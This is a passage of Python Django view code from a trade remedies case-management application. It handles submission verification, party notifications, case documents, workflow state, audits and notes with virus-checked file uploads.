organisation_id=None):\n submission_id = self.kwargs.get(\"submission_id\")\n if not submission_id:\n # If this is called from the party page - there is no submission id\n # so find from the org/case\n submissions = self._client.get_submissions_public(\n organisation_id=organisation_id,\n case_id=case_id,\n fields=json.dumps({\"id\": 0, \"type\": {\"key\": 0}}),\n )\n for submission in submissions:\n if get(submission, \"type/key\") in [\"interest\", \"application\"]:\n submission_id = submission.get(\"id\")\n break # we only want one reg-of-interest submission\n return submission_id\n\n def update_submission_json(self, case_id, submission, params):\n regex = r\"^deficiency_notice_params_\"\n deficiency_notice_params = submission.get(\"deficiency_notice_params\") or {}\n updated = False\n response = None\n for param_key in params:\n matches = re.split(regex, param_key)\n if len(matches) > 1:\n value = params[param_key]\n updated = updated or (deficiency_notice_params.get(matches[1]) != value)\n deficiency_notice_params[matches[1]] = value\n if updated:\n response = self._client.update_submission(\n case_id=case_id,\n submission_id=get(submission, \"id\"),\n deficiency_notice_params=to_json(deficiency_notice_params),\n )\n return response\n\n\nclass SubmissionVerifyViewTasks(SubmissionVerifyBaseView):\n \"\"\"\n Used to verify user and orgs admission to a case\n \"\"\"\n\n template_name = \"cases/verify/submission_verify_tasks.html\"\n submission_fields = json.dumps(\n {\n \"Submission\": {\n \"id\": 0,\n \"deficiency_notice_params\": 0,\n \"organisation\": {\n \"id\": 0,\n \"name\": 0,\n },\n \"contact\": {\n \"name\": 0,\n \"email\": 0,\n \"user\": {\n \"name\": 0,\n \"email\": 0,\n \"id\": 0,\n \"organisation\": {\n \"organisation\": {\n \"id\": 0,\n \"name\": 0,\n }\n },\n },\n \"organisation\": {\n \"id\": 0,\n \"name\": 0,\n },\n },\n \"case\": 0,\n \"type\": 0,\n \"created_by\": 0,\n \"organisation_case_role_outer\": 0,\n }\n }\n )\n\n def get(self, request, case_id, organisation_id, **kwargs):\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n if not submission_id:\n return HttpResponse(\n json.dumps(\n {\n \"error\": \"You cannot verify this organisation \"\n \"as they have not yet registered interest in this case.\",\n }\n ),\n content_type=\"application/json\",\n )\n submission = self._client.get_submission(\n self.case_id, submission_id, fields=self.submission_fields\n )\n json_data = submission.get(\"deficiency_notice_params\") or {}\n organisation = submission.get(\"organisation\")\n caserole = self._client.get_organisation_case_role(\n case_id=case_id, organisation_id=get(submission, \"organisation/id\")\n )\n org_matches = self._client.get_organisation_matches(organisation_id, with_details=\"none\")\n\n return render(\n request,\n self.template_name,\n {\n \"submission\": submission,\n \"organisation\": organisation,\n \"caserole\": caserole,\n \"org_matches\": org_matches,\n \"page_data\": {\n \"submission\": submission,\n \"organisation\": organisation,\n },\n },\n )\n\n\nclass SubmisisonVerifyEditLoaView(SubmissionVerifyBaseView):\n def get(self, request, case_id, organisation_id):\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n submission = self._client.get_submission(case_id, submission_id)\n\n organisation = self._client.get_organisation(\n case_id=case_id, organisation_id=organisation_id\n )\n documents = self.get_documents(submission)\n caserole = self._client.get_organisation_case_role(\n case_id=self.case_id, organisation_id=organisation_id\n )\n org_contacts = self._client.get_organisation_contacts(\n organisation_id, case_id, exclude_indirect=True\n )\n\n return render(\n request,\n \"cases/verify/loa.html\",\n {\n \"auth_contacts\": org_contacts,\n \"organisation\": organisation,\n \"documents\": documents,\n \"LOA\": caserole.get(\"auth_contact\"),\n \"submission\": submission,\n },\n )\n\n def post(self, request, case_id, organisation_id, *args, **kwargs):\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n submission = self._client.get_submission(case_id, submission_id)\n self.update_submission_json(case_id, submission, request.POST)\n result = self._client.set_organisation_case_role_loa(\n case_id,\n organisation_id,\n pluck(\n request.POST,\n [\"LOA_contact_id\", \"name\", \"email\", \"address\", \"org_name\", \"phone\"],\n ),\n )\n return HttpResponse(json.dumps(result))\n\n\nclass SubmisisonVerifyOrganisation(SubmissionVerifyBaseView):\n enable_merge = False\n\n def get(self, request, case_id, organisation_id):\n test_org_id = request.GET.get(\"org_id\") or organisation_id\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n submission = self._client.get_submission(case_id, submission_id)\n organisation = self._client.get_organisation(case_id=case_id, organisation_id=test_org_id)\n if self.enable_merge:\n org_matches = self._client.get_organisation_matches(test_org_id, with_details=True)\n else:\n org_matches = self._client.get_organisation_matches(test_org_id, with_details=False)\n org_matches.sort(\n key=lambda m: 1 if m.get(\"id\") == test_org_id else 0\n ) # put the actual match at the end\n matches = decorate_orgs(org_matches, test_org_id, exclude_case_id=case_id)\n for match in matches:\n if str(match.get(\"id\")) == str(organisation.get(\"id\")):\n organisation.update(match)\n\n return render(\n request,\n \"cases/verify/merge_org.html\" if self.enable_merge else \"cases/verify/verify_org.html\",\n {\n \"case_id\": self.case_id,\n \"organisation\": organisation,\n \"match_list\": matches,\n \"representing\": test_org_id != organisation_id,\n \"json_data\": submission.get(\"deficiency_notice_params\"),\n },\n )\n\n def post(self, request, case_id, organisation_id, *args, **kwargs):\n test_org_id = request.POST.get(\"org_id\") or organisation_id\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n submission = self._client.get_submission(case_id, submission_id)\n verify = request.POST.get(\"deficiency_notice_params_org_verify\")\n if verify == \"verified\":\n self._client.verify_caserole(\n case_id=case_id, organisation_id=get(submission, \"organisation/id\")\n )\n elif verify == \"rejected\":\n result = self._client.reject_organisation(case_id, organisation_id)\n result = self.update_submission_json(case_id, submission, request.POST)\n return HttpResponse(json.dumps({\"result\": True}))\n\n\nclass SubmissionVerifyAccept(SubmissionVerifyBaseView):\n def get(self, request, case_id, organisation_id):\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n submission = self._client.get_submission(case_id, submission_id)\n organisation = self._client.get_organisation(\n case_id=case_id, organisation_id=organisation_id\n )\n caserole = self._client.get_organisation_case_role(\n case_id=self.case_id, organisation_id=organisation_id\n )\n roles = self._client.get_case_roles(\n exclude=[\n CASE_ROLE_APPLICANT,\n CASE_ROLE_AWAITING_APPROVAL,\n CASE_ROLE_REJECTED,\n CASE_ROLE_PREPARING,\n ]\n )\n\n return render(\n request,\n \"cases/verify/accept.html\",\n {\n \"submission\": submission,\n \"organisation\": organisation,\n \"roles\": roles,\n \"caserole\": caserole,\n \"role_name\": get(caserole, \"role/name\"),\n },\n )\n\n def post(self, request, case_id, organisation_id, *args, **kwargs):\n role_key = request.POST.get(\"role_key\")\n result = {}\n result = self._client.set_organisation_case_role(\n case_id, organisation_id, role_key, pluck(request.POST, [\"approve\"])\n )\n return HttpResponse(json.dumps(result))\n\n\nclass SubmissionVerifyNotify(SubmissionVerifyBaseView):\n def get(self, request, case_id, organisation_id):\n caserole = self._client.get_organisation_case_role(\n case_id=self.case_id, organisation_id=organisation_id\n )\n role_name = get(caserole, \"role/name\")\n action = (\n \"reject\" if get(caserole, \"role/key\") == \"rejected\" else \"accept\"\n ) # Todo: get this from the right place\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n submission = self._client.get_submission(case_id, submission_id)\n case = self._client.get_case(case_id)\n contact = submission_contact(submission)\n organisation = self._client.get_organisation(\n case_id=case_id, organisation_id=organisation_id\n )\n notify_key = (\n \"NOTIFY_INTERESTED_PARTY_REQUEST_PERMITTED\"\n if action == \"accept\"\n else \"NOTIFY_INTERESTED_PARTY_REQUEST_DENIED\"\n )\n try:\n notification_template = self._client.get_notification_template(notify_key)\n values = self._client.create_notify_context(\n {\n \"full_name\": contact.get(\"name\"),\n \"case_name\": case.get(\"name\"),\n \"case_number\": case.get(\"reference\"),\n \"company_name\": organisation[\"name\"],\n \"login_url\": public_login_url(),\n \"role\": role_name,\n }\n )\n parsed_template = parse_notify_template(notification_template[\"body\"], values)\n except Exception as ex:\n parsed_template = \"\"\n # contacts for the notification contact selector\n contacts = organisation.get(\"contacts\", [])\n user = self._client.get_user(get(submission, \"created_by/id\"))\n contacts.append(user.get(\"contact\"))\n\n return render(\n request,\n \"cases/verify/notify.html\",\n {\n \"parsed_template\": parsed_template,\n },\n )\n\n def post(self, request, case_id, organisation_id, *args, **kwargs):\n\n submission_id = self.get_submission_id(case_id=case_id, organisation_id=organisation_id)\n self._client.approve_submission(submission_id=submission_id)\n return HttpResponse(json.dumps({\"result\": True}))\n\n\nclass SubmissionNotifyView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n raise_exception = True\n\n def get(self, request, case_id, submission_id, *args, **kwargs):\n case = self._client.get_case(case_id)\n submission = self._client.get_submission(case_id, submission_id)\n json_data = from_json(submission.get(\"deficiency_notice_params\"))\n contact = None\n contact_name = None\n send_to = json_data.get(\"send_to\")\n if not send_to:\n contact = submission_contact(submission)\n contact_name = contact and contact.get(\"name\")\n\n submission_type = submission[\"type\"]\n notify_sys_param_name = submission_type.get(\"notify_template\") or \"NOTIFY_QUESTIONNAIRE\"\n notification_template = self._client.get_notification_template(notify_sys_param_name)\n template_name = f\"cases/submissions/{submission_type['key']}/notify.html\"\n due_at = get_submission_deadline(submission, settings.FRIENDLY_DATE_FORMAT)\n case_number = case[\"reference\"]\n email = notify_contact_email(self._client, case_number)\n footer = notify_footer(self._client, email)\n values = {\n \"full_name\": contact_name,\n \"case_number\": case_number,\n \"case_name\": case[\"name\"],\n \"investigation_type\": case[\"type\"][\"name\"],\n \"country\": case[\"sources\"][0][\"country\"] if case[\"sources\"] else \"N/A\",\n \"company_name\": submission[\"organisation\"].get(\"name\"),\n \"deadline\": due_at or \"No deadline assigned\",\n \"login_url\": public_login_url(),\n \"description\": submission.get(\"description\"),\n \"submission_request_name\": submission.get(\"name\"),\n \"notice_type\": submission.get(\"type\", {}).get(\"name\"),\n \"notice_url\": submission[\"url\"],\n \"notice_of_initiation_url\": submission[\"url\"],\n \"footer\": footer,\n }\n\n template_list = []\n if send_to:\n for case_role, participant_list in (\n self._client.get_case_participants(case_id) or {}\n ).items():\n for participant in participant_list.get(\"parties\"):\n if participant.get(\"id\") in send_to:\n contact = participant.get(\"primary_contact\")\n if contact:\n local_values = {\n \"full_name\": contact.get(\"name\"),\n \"email\": contact.get(\"email\"),\n \"company_name\": participant.get(\"name\"),\n }\n values.update(local_values)\n template_list.append(\n {\n \"values\": local_values,\n \"preview\": parse_notify_template(\n notification_template[\"body\"], values\n ),\n }\n )\n else:\n template_list[contact.get(\"email\")] = parse_notify_template(\n notification_template[\"body\"], values\n )\n\n context = {\n \"form_action\": f\"/case/{case_id}/submission/{submission_id}/notify/\",\n \"form_title\": f\"Invite {contact_name}\",\n \"cancel_redirect_url\": f\"/case/{case_id}/submission/{submission_id}/\",\n \"editable_fields\": { # leaving one as an example\n # 'full_name': {'title': '', 'disabled': True},\n },\n \"notification_template\": notification_template,\n \"templates\": template_list,\n \"submission\": submission,\n \"case_id\": str(case_id),\n \"contact\": contact,\n \"values\": values,\n }\n return render(request, template_name, context)\n\n def post(self, request, case_id, submission_id, *args, **kwargs):\n submission = self._client.get_submission(case_id, submission_id)\n\n notify_keys = [\"full_name\", \"product\", \"submission_request_name\", \"description\"]\n notify_data = {key: request.POST.get(key) for key in notify_keys if key in request.POST}\n due_at = get_submission_deadline(submission, settings.FRIENDLY_DATE_FORMAT)\n notify_data[\"deadline\"] = due_at or \"No deadline assigned\"\n if request.POST.get(\"multiple\"):\n return self.post_multiple(request, case_id, submission, context=notify_data)\n\n self._client.submission_notify(\n case_id=case_id,\n organisation_id=submission[\"organisation\"][\"id\"],\n submission_id=submission[\"id\"],\n values=notify_data,\n notice_type=SUBMISSION_NOTICE_TYPE_INVITE,\n )\n return HttpResponse(\n json.dumps(\n {\n \"redirect_url\": f\"/case/{case_id}/submission/{submission_id}/\",\n \"error\": None,\n }\n ),\n content_type=\"application/json\",\n )\n\n def post_multiple(self, request, case_id, submission, context=None):\n \"\"\"\n Called to handle a notify post to multiple recipents.\n We must clone the submission for each target and send the notification\n \"\"\"\n\n case = self._client.get_case(case_id)\n json_data = from_json(submission.get(\"deficiency_notice_params\"))\n send_to = json_data.get(\"send_to\")\n # We need to know which is the last party in the list\n # so we can modify the existing sub rather than clone it.\n party_counter = len(send_to)\n for case_role, participant_list in (\n self._client.get_case_participants(case_id) or {}\n ).items():\n for participant in participant_list.get(\"parties\"):\n if participant.get(\"id\") in send_to:\n contact = participant.get(\"primary_contact\")\n party_counter -= 1\n if contact: # don't try to send if there is no contact\n data = {\n \"case_id\": case_id,\n \"submission_id\": submission[\"id\"],\n \"organisation_id\": participant.get(\"id\"),\n \"contact_id\": contact.get(\"id\"),\n }\n if party_counter:\n cloned_submission = self._client.clone_submission(**data)\n else:\n cloned_submission = self._client.update_submission(**data).get(\n \"submission\"\n )\n context[\"full_name\"] = contact.get(\"full_name\")\n self._client.submission_notify(\n case_id=case_id,\n organisation_id=participant.get(\"id\"),\n submission_id=cloned_submission[\"id\"],\n values=context or {},\n notice_type=SUBMISSION_NOTICE_TYPE_INVITE,\n )\n\n return HttpResponse(\n json.dumps(\n {\n \"alert\": f'Sent {len(send_to)} request{\"\" if len(send_to) < 2 else \"s\"}',\n \"redirect_url\": f'/case/{case_id}/submission/{submission.get(\"id\")}/'\n if len(send_to) < 2\n else f\"/case/{case_id}/submissions/\",\n \"error\": None,\n }\n ),\n content_type=\"application/json\",\n )\n\n\nclass OrganisationDetailsView(LoginRequiredMixin, View, TradeRemediesAPIClientMixin):\n def get(self, request, case_id, organisation_id, *args, **kwargs):\n client = self.client(request.user)\n item = request.GET.get(\"item\")\n template = request.GET.get(\"template\")\n result = {}\n case_submissions = client.get_submissions(case_id)\n idx_submissions = deep_index_items_by(case_submissions, \"organisation/id\")\n org_id = str(organisation_id)\n third_party_contacts = []\n if item == \"contacts\":\n contacts = client.get_organisation_contacts(org_id, case_id)\n for contact in contacts:\n case = get(contact, \"cases/\" + str(case_id)) or {}\n contact[\"primary\"] = case.get(\"primary\")\n all_case_invites = client.get_contact_case_invitations(case_id)\n if org_id in idx_submissions:\n org_submission_idx = deep_index_items_by(idx_submissions[org_id], \"id\")\n third_party_contacts = self.get_third_party_contacts(\n org_id, org_submission_idx, all_case_invites\n )\n # `contacts` may also contain on-boarded third-party contacts that\n # have a user, so we need to prune these out.\n third_party_contact_ids = set([i[\"id\"] for i in third_party_contacts])\n contacts = [\n i\n for i in itertools.filterfalse(\n lambda x: x[\"id\"] in third_party_contact_ids, contacts\n )\n ]\n result = {\n \"contacts\": contacts,\n \"pre_release_invitations\": client.get_system_boolean(\"PRE_RELEASE_INVITATIONS\"),\n \"invites\": deep_index_items_by(all_case_invites, \"contact/id\"),\n \"third_party_contacts\": third_party_contacts,\n \"case_role_id\": request.GET.get(\"caserole\"),\n }\n elif item == \"submissions\":\n result[\"submissions\"] = idx_submissions.get(org_id, [])\n elif item == \"details\":\n result[\"party\"] = client.get_organisation(organisation_id=organisation_id)\n if template:\n deep_update(\n result,\n {\n \"case_id\": case_id,\n \"case\": {\"id\": case_id},\n \"organisation\": {\"id\": org_id},\n },\n )\n return render(request, template, result)\n return HttpResponse(json.dumps({\"result\": result}), content_type=\"application/json\")\n\n @staticmethod\n def get_third_party_contacts(organisation_id, submissions, invites):\n \"\"\"Get third party contacts.\n\n Given an organisation, its submissions and all invitations for a case,\n build a list of third party invite contacts. We include the invite submissions\n yet to be approved but flag the contact with `submission_sufficient`\n\n :param (str) organisation_id: Organisation ID.\n :param (dict) submissions: The organisation's submissions keyed on id.\n :param (list) invites: All invites for a case.\n :returns (list): Contacts arising from 3rd party invite submissions.\n \"\"\"\n third_party_contacts = []\n for invite in invites:\n if invite[\"submission\"]:\n submission_id = invite[\"submission\"][\"id\"]\n full_submission = submissions.get(submission_id)\n if not full_submission:\n # Submission not at this org\n continue\n if full_submission[0][\"type\"][\"id\"] != SUBMISSION_TYPE_THIRD_PARTY:\n # Not a third party submission\n continue\n inviting_organisation = full_submission[0][\"organisation\"][\"id\"]\n if inviting_organisation == organisation_id:\n submission_sufficient = full_submission[0][\"status\"][\"sufficient\"]\n invite[\"contact\"][\"is_third_party\"] = True\n invite[\"contact\"][\"submission_id\"] = submission_id\n invite[\"contact\"][\"submission_sufficient\"] = submission_sufficient\n invite[\"contact\"][\"invited\"] = invite[\"email_sent\"]\n third_party_contacts.append(invite[\"contact\"])\n return third_party_contacts\n\n\nclass CaseOrganisationView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"organisations/organisation_in_case.html\"\n\n def add_page_data(self):\n organisation = self._client.get_organisation(organisation_id=self.organisation_id)\n caserole = None\n\n case_submissions = self._client.get_submissions_public(self.case_id, self.organisation_id)\n idx_submissions = deep_index_items_by(case_submissions, \"organisation/id\")\n\n submissions = idx_submissions.get(str(self.organisation_id), [])\n roi_app_submission = next(\n filter(lambda x: get(x, \"type/key\") in [\"interest\", \"application\"], submissions),\n None,\n )\n\n cases = self._client.organisation_cases(self.organisation_id)\n user_cases = self._client.organisation_user_cases(self.organisation_id)\n\n cases_idx = deep_index_items_by_exists(cases, \"archived_at\")\n\n for case in cases:\n if get(case, \"id\") == str(self.case_id):\n caserole = case\n\n invites = self._client.get_contact_case_invitations(\n self.case_id,\n )\n return {\n \"case\": self.case,\n \"invites\": invites,\n \"party\": organisation,\n \"organisation\": organisation,\n \"cases_idx\": cases_idx,\n \"submissions\": submissions,\n \"user_cases\": user_cases,\n \"roi_app_submission\": roi_app_submission,\n \"caserole\": caserole,\n }\n\n\nclass OrganisationMatchView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/organisation_dedupe.html\"\n\n def add_page_data(self):\n organisation = self._client.get_organisation(\n organisation_id=self.organisation_id, case_id=self.case_id\n )\n org_matches = self._client.get_organisation_matches(self.organisation_id)\n org_matches = decorate_orgs(org_matches, self.organisation_id)\n return {\n \"case\": self.case,\n \"organisation\": organisation,\n \"org_matches\": org_matches,\n }\n\n\nclass FilesView(CaseBaseView):\n \"\"\"\n View all case documents\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/files.html\"\n\n def add_page_data(self):\n tab = self.request.GET.get(\"tab\", \"respondent\")\n sort = self.request.GET.get(\"sort\")\n direction = self.request.GET.get(\"dir\", \"asc\")\n submission_id = self.request.GET.get(\"submission_id\")\n collapse_identical = self.request.GET.get(\"collapse_identical\", \"false\") in (\n \"true\",\n \"1\",\n \"Y\",\n )\n tabs = {\n \"tabList\": [\n {\"label\": \"Respondent\", \"value\": \"respondent\"},\n {\"label\": \"Investigator\", \"value\": \"investigator\"},\n ],\n \"value\": tab,\n }\n case_enums = self._client.get_all_case_enums(direction=DIRECTION_TRA_TO_PUBLIC)\n case_files = self._client.get_case_documents(\n case_id=self.case_id,\n source=tab,\n submission_id=submission_id,\n order_by=sort,\n order_dir=direction,\n )\n submission = None\n if submission_id:\n submission = self._client.get_submission(self.case_id, submission_id)\n return {\n \"tabs\": tabs,\n \"tab\": tab,\n \"case_enums\": case_enums,\n \"file_list\": case_files,\n \"sort\": sort,\n \"dir\": direction,\n \"collapse_identical\": collapse_identical,\n \"submission\": submission,\n \"pre_document_search\": self._client.get_system_boolean(\"PRE_DOCUMENT_SEARCH\"),\n }\n\n def post(self, request, case_id, *args, **kwargs):\n action = request.POST.get(\"action\")\n name = request.POST.get(\"name\")\n confirm = request.POST.get(\"confirm\") == \"true\"\n tab = request.POST.get(\"tab\", \"respondent\")\n document_ids = request.POST.getlist(\"document_id\")\n if document_ids:\n if action == \"issue\" and confirm:\n submission_type_id = request.POST.get(\"submission_type_id\")\n response = self._client.issue_documents_to_case(\n case_id=case_id,\n name=name,\n document_ids=document_ids,\n submission_type_id=submission_type_id,\n )\n elif action == \"confidential\":\n response = self._client.toggle_documents_confidentiality(\n case_id=case_id, document_ids=document_ids\n )\n return redirect(f\"/case/{case_id}/files/?tab={tab}\")\n\n\nclass FileBrowseView(View, TradeRemediesAPIClientMixin):\n def get(self, request, case_id, *args, **kwargs):\n _client = self.client(request.user)\n case_files = _client.get_case_documents(case_id=case_id, source=\"investigator\")\n # Add application bundle documents\n case_files.extend(_client.get_system_documents())\n return HttpResponse(json.dumps(case_files), content_type=\"application/json\")\n\n\nclass WorkflowEditor(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n permission_required = (\"workflow_editor\",)\n template_name = \"cases/workflow_editor.html\"\n\n def add_page_data(self):\n case_workflow = self._client.get_case_workflow(self.case_id)\n return {\n \"workflow\": case_workflow.get(\"workflow\"),\n \"state\": case_workflow.get(\"state\"),\n }\n\n def post(self, request, case_id, *args, **kwargs):\n workflow = request.POST.get(\"workflow\")\n self._client.save_case_workflow(case_id, workflow)\n return HttpResponse(json.dumps({\"saved\": 1}), content_type=\"application/json\")\n\n\nclass ActionsView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/actions.html\"\n\n def add_page_data(self):\n permissions = {}\n for permission_key in self.request.user.permissions:\n permissions[permission_key] = 1\n case_workflow = self._client.get_case_workflow(self.case_id)\n return {\n \"workflow\": case_workflow.get(\"workflow\"),\n \"state\": case_workflow.get(\"state\"),\n \"permissions\": permissions,\n }\n\n\nclass StateView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/action.html\"\n\n def post(self, request, case_id, state_key=None, *args, **kwargs):\n value = request.POST.get(state_key)\n state_map = self._client.set_case_workflow_state(case_id, [state_key], {state_key: value})\n return HttpResponse(\n json.dumps({\"workflow_state\": state_map}), content_type=\"application/json\"\n )\n\n\nclass ActionView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/action.html\"\n\n def get_state_from_children(self, item):\n any_mode = item.get(\"required\") # this is a bodge and the logic is reverse\n state = None\n completed = False if any_mode else True\n for child in item.get(\"children\", []):\n value = self.get_value(child.get(\"key\"))\n if value:\n state = state or \"in-progress\"\n if any_mode:\n if value == \"complete\":\n completed = True\n else:\n if value != \"complete\":\n completed = False\n return \"complete\" if state and completed else state\n\n state_map = {}\n\n def get_value(self, key):\n return (self.state_map.get(key) or [\"\"])[0]\n\n def set_value(self, key, value):\n arr = self.state_map.get(key) or [\"\"]\n arr[0] = value\n self.state_map[key] = arr\n\n def post(self, request, case_id, action_id=None, *args, **kwargs): # noqa: C901\n values = {}\n node_keys = []\n action_key = request.POST.get(\"action-key\")\n btn_action = request.POST.get(\"btn_action\")\n complete = True\n error = False\n state = \"\"\n wf = self._client.get_case_workflow(case_id)\n workflow = wf.get(\"workflow\")\n self.state_map = wf.get(\"state\")\n index = key_by(workflow[\"root\"], \"key\", \"children\")\n action = index.get(action_key.lower(), {})\n for task in action.get(\"children\", []):\n response_type = task.get(\"response_type\", {}).get(\"name\", \"\")\n if response_type.lower() not in (\n \"notesection\",\n \"timer\",\n \"label\",\n ): # notes don't count as in-progress\n task_key = task.get(\"key\")\n old_val = self.get_value(task_key)\n new_val = request.POST.get(task_key)\n if old_val != new_val:\n values[task_key] = new_val\n node_keys.append(task_key)\n\n if not new_val:\n if task.get(\"required\"):\n complete = False\n else:\n if new_val != \"na\":\n state = \"in-progress\"\n if complete:\n state = \"complete\"\n if (self.get_value(action_key) or \"\") != state:\n values[action_key] = state\n node_keys.append(action_key)\n self.set_value(action_key, state)\n\n # ripple the state down the tree\n loc_action = action\n while loc_action.get(\"parent_key\"):\n loc_action = index.get(loc_action.get(\"parent_key\"))\n loc_key = loc_action.get(\"key\")\n loc_state = self.get_state_from_children(loc_action)\n if (self.get_value(loc_key) or \"\") != loc_state:\n values[loc_key] = loc_state\n node_keys.append(loc_key)\n self.set_value(loc_key, loc_state)\n\n if any(values):\n self.state_map = self._client.set_case_workflow_state(case_id, node_keys, values)\n if error:\n action_id = action.get(\"id\")\n return redirect(f\"/case/{case_id}/action/{action_id}\")\n else:\n return HttpResponse(\n json.dumps({\"workflow_state\": self.state_map}),\n content_type=\"application/json\",\n )\n\n\nclass NavSectionView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/nav_section.html\"\n\n def post(self, request, case_id, *args, **kwargs):\n content_id = kwargs.get(\"nav_section_id\")\n response = self._client.set_case_content(\n case_id, content_id=content_id, content=request.POST\n )\n content_id = response.get(\"id\")\n return redirect(f\"/case/{case_id}/section/{content_id}\")\n\n def add_page_data(self):\n return {}\n\n\nclass AuditView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/audit.html\"\n\n def add_page_data(self):\n milestone = self.request.GET.get(\"milestone\", \"true\") == \"true\"\n limit = int(self.request.GET.get(\"limit\", self.limit))\n audit_data = self._client.get_audit(\n case_id=self.case_id, start=self.start, limit=limit, milestone=milestone\n )\n url = reverse(\"case_audit\", kwargs={\"case_id\": self.case_id})\n prev_url = next_url = None\n prev_page = max(0, self.start - limit)\n milestone_flag = f\"milestone={milestone}\".lower()\n if len(audit_data) >= limit:\n next_page = max(0, self.start + limit)\n next_url = f\"{url}?{milestone_flag}&start={next_page}\"\n if next_page > limit:\n prev_url = f\"{url}?{milestone_flag}&start={prev_page}\"\n self.start = next_page\n else:\n self.start = prev_page + len(audit_data)\n if prev_page:\n prev_url = f\"{url}?{milestone_flag}&start={prev_page}\"\n\n return {\n \"milestone\": milestone,\n \"events\": audit_data,\n \"next_url\": next_url,\n \"prev_url\": prev_url,\n }\n\n\nclass CaseAuditExport(LoginRequiredMixin, View, TradeRemediesAPIClientMixin):\n groups_required = SECURITY_GROUPS_TRA\n\n def get(self, request, case_id, *args, **kwargs):\n file = self.client(request.user).get_audit_export(case_id)\n response = HttpResponse(file, content_type=\"application/vnd.ms-excel\")\n response[\"Content-Disposition\"] = \"attachment; filename=trade_remedies_export.xlsx\"\n return response\n\n\nclass NoteView(LoginRequiredMixin, View, TradeRemediesAPIClientMixin):\n groups_required = SECURITY_GROUPS_TRA\n\n def get(\n self,\n request,\n case_id,\n content_type=None,\n model_id=None,\n model_key=None,\n *args,\n **kwargs,\n ):\n notes = self.client(request.user).get_notes(\n case_id, content_type, model_id, model_key=model_key\n )\n return HttpResponse(json.dumps(notes), content_type=\"application/json\")\n\n def post(self, request, case_id, note_id=None, *args, **kwargs): # noqa: C901\n entity_id = request.POST.get(\"model_id\")\n model_key = request.POST.get(\"model_key\")\n content_type = request.POST.get(\"content_type\")\n client = self.client(request.user)\n content = request.POST.get(\"content\")\n if note_id is None:\n result = client.create_note(\n case_id=case_id,\n content_type=content_type,\n model_id=entity_id,\n model_key=model_key,\n note_text=content,\n )\n note_id = result.get(\"id\")\n else:\n delete_list = request.POST.getlist(\"delete_list\")\n if delete_list:\n for document_id in delete_list:\n deleted = client.delete_note_document(case_id, note_id, document_id)\n\n conf_list = request.POST.getlist(\"set_confidential\")\n if conf_list:\n for document_id in conf_list:\n result = client.update_note_document(\n case_id, note_id, document_id, \"confidential\"\n )\n nonconf_list = request.POST.getlist(\"set_non-confidential\")\n if nonconf_list:\n for document_id in nonconf_list:\n result = client.update_note_document(\n case_id, note_id, document_id, \"non-confidential\"\n )\n result = client.update_note(case_id, note_id, content)\n\n file_meta = request.POST.getlist(\"file-meta\")\n files = request.FILES.getlist(\"files\")\n for idx, _file in enumerate(files):\n try:\n _file.readline() # Important, will raise VirusFoundInFileException if infected\n except VirusFoundInFileException:\n # Display a fake doc in the widget until\n # a poll for success clears it\n msg = \"File upload aborted: malware detected in file!\"\n document = {\n \"name\": msg,\n \"safe\": False,\n }\n result[\"documents\"].append(document)\n else:\n document = {\n \"document_name\": _file.original_name,\n \"name\": _file.name,\n \"size\": _file.file_size,\n }\n result = client.add_note_document(\n case_id=case_id,\n note_id=note_id,\n document=json.dumps(document),\n confidentiality=file_meta[idx],\n )\n redirect_url = request.POST.get(\"redirect\")\n if redirect_url:\n return internal_redirect(redirect_url, \"/\")\n else:\n # Return note json to be rendered at the client\n return HttpResponse(json.dumps(result), content_type=\"application/json\")\n\n\nclass PublicFileView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/public_file.html\"\n\n def add_page_data(self):\n tab = self.request.GET.get(\"tab\", \"all\")\n tabs = {\n \"tabList\": [\n {\"label\": \"All\", \"value\": \"all\"},\n {\"label\": \"Notices\", \"value\": \"tra\"},\n {\"label\": \"Business\", \"value\": \"business\"},\n {\"label\": \"Withdrawn\", \"value\": \"withdrawn\"},\n ],\n \"value\": tab,\n }\n\n case_submissions = self._client.get_submissions(self.case_id, show_global=True)\n by_tra = deep_index_items_by_exists(case_submissions, \"is_tra\")\n tra_by_published = deep_index_items_by_exists(by_tra.get(\"true\"), \"issued_at\")\n by_published = deep_index_items_by_exists(case_submissions, \"issued_at\")\n if tab == \"all\":\n submissions = by_published.get(\"true\")\n if tab == \"tra\":\n submissions = deep_index_items_by(by_published.get(\"true\"), \"is_tra\").get(\"true\")\n if tab == \"business\":\n submissions = deep_index_items_by(by_published.get(\"true\"), \"is_tra\").get(\"\")\n if tab == \"withdrawn\":\n submissions = deep_index_items_by(by_published.get(\"false\"), \"is_tra\").get(\"true\")\n return {\n \"tabs\": tabs,\n \"submissions\": submissions,\n \"public_base_url\": settings.PUBLIC_BASE_URL,\n }\n\n\nclass CaseFormView(LoginRequiredMixin, TemplateView, TradeRemediesAPIClientMixin):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/case_form.html\"\n\n def get_context(self, client, case_id=None):\n if case_id:\n case = client.get_case(case_id)\n else:\n case = {\n \"new\": True,\n \"id\": \"\",\n \"organisation\": {\"id\": \"\"},\n \"type\": {\"id\": \"1\"},\n }\n enums = client.get_all_case_enums()\n gov_bodies = client.get_organisations(gov_body=True)\n country_dict = {}\n for country in countries:\n country_dict[country[0]] = country[1]\n\n context = {\n \"body_classes\": \"full-width\",\n \"case\": case,\n \"organisations\": 